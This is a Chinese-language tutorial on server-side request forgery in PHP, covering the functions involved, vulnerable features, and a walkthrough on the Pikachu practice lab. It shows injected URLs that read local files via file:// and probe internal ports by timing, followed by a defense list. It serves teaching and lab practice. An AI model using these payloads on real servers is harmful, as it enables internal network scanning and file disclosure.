目录
一.原理
二.引起ssrf的函数
三.这些函数具体作用
(1)File_get_content()
(2)Fsockopen()
(3)Curl_exec()
四.常见的业务场景(可能出现的漏洞的地方,漏洞挖掘)
1.分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
第一种情况
第二种情况
第三种情况
第四种情况:这种就是没有开放
2.转码服务,适配手机屏幕大小,通过URL地址进行图片转码
3.图片加载与下载,通过URL加载网络图片(头像上传、等)
4.图片、文章收藏,通过URL获取目标的title等信息
五.从URL关键字中寻找
五.SSRF漏洞利用(危害)
六.SSRF漏防御
由web应用去请求其他服务器加载图片,文件,如果加载文件这里的参数可以控制,就可以构造恶意的代码,形成由服务器端发起的请求的安全漏洞。
File_get_content()
Fsockopen()
Curl_exec()
注释:这三个代码是我从SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客博主那里借鉴的。解读了一下
下面的代码使用file_get_content()函数从用户指定的url获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户。
以下代码使用fsockopen函数实现获取用户制定ur的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
前提:PHP fsockopen需要 PHP.ini 中 allow_url_fopen 选项开启。
allow_url_fopen = On
在 PHP 中,`curl_exec()` 函数用于执行一个 cURL 会话。cURL(Client URL Library)是一个用来传输数据的工具和库,支持各种协议,如 HTTP、FTP、SMTP 等。文件/数据被下载并存储在"cured"文件夹下的磁盘中,并附加一个随机数和“.txt”文件扩展名。
1、分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
2、转码服务,适配手机屏幕大小,通过URL地址进行图片转码
3、图片加载与下载,通过URL加载网络图片(头像上传、等)
4、图片、文章收藏,通过URL获取目标的title等信息
5、其他加载URL的功能
它访问了其他的网址
可以修改为内网服务器的IP地址,可以随便访问
实例
Pikachu靶场
点击
观察url
http://192.168.2.18/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
修改后面的地址,百度域名
http://192.168.2.18/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
加载过来了,既然能读取第三方,那我是不是能读取内网里面的东西。
http://192.168.2.18/pikachu/vul/ssrf/ssrf_curl.php?url=file://D:/1.txt
我想要跨盘读取,这个过程是读不了的。
http://192.168.2.18/pikachu/vul/ssrf/ssrf_curl.php?url=file://C:/2.txt
这是因为这个不能跨盘读取。
我们可以通过ssrf来进行端口探测,这个的目的:如果探测到你的端口3306是开放的是不是说,知道你是mysql数据。
第一种情况
http://192.168.2.18/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.2.18:3306
不允许连接,说明是开放的。
第二种情况
http://192.168.2.18/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.2.18:445
秒反应,也是开启状态
第三种情况
http://192.168.2.18/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.2.18:135
一直转圈圈,也是开放的
netstat -ant
第四种情况:这种就是没有开放
http://192.168.2.18/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.2.18:1111
转了大概2秒就返回页面,页面没什么变化,说明端口未开放。
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
由于手机屏幕大小的关系,直接浏览网页内容的时候会造成许多不便,因此有些公司提供了转码功能,把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百 度、腾讯、搜狗等公司都有提供在线转码服务。
在线翻译:通过URL地址翻译对应文本的内容。提供此功能的百度、有道等
图片加载与下载:通过URL地址加载或下载图片
图片加载远程图片地址此功能用到的地方很多,但大多都是比较隐秘,比如在有些公司中的加载自家 图片服务器上的图片用于展示。(此处可能会有人有疑问,为什么加载图片服务器上的图片也会有问题,直接使用img标签不就好了,没错是这样,但是开发者为了有更好的用户体验通常对图片做些微小调整例 如加水印、压缩等,就必须要把图片下载到服务器的本地,所以就可能造成SSRF问题)
share、 wap、 url.link、 src, source,target、 u、 3g、displaysourcellRL. imageURL、 domain
俗称的参数
?share=什么什么
1.可以将中间服务当作跳板机,对外网,服务器所在内网,本地进行端口扫描,获取一些服务器的banner信息。
2.攻击运行在本地或内网应用程序,溢出攻击。
3.对内网web应用进行指纹识别。
4.攻击内外网的web应用,主要是使用get参数实现攻击。
5.利用一些伪协议(file)读取本地文件或远程文件。
1.过滤返回的信息,也就是在讲返回结果展示给用户之前,先验证这个信息中符不符合标准。
2.同一错误信息,避免用户可以根据错误信息进行判断端口状态。
3.将一些无用的/危险的端口禁用,或者说限制ip访问。
4.制作白黑名单。
5.禁用一些不需要的协议,只用http/https请求。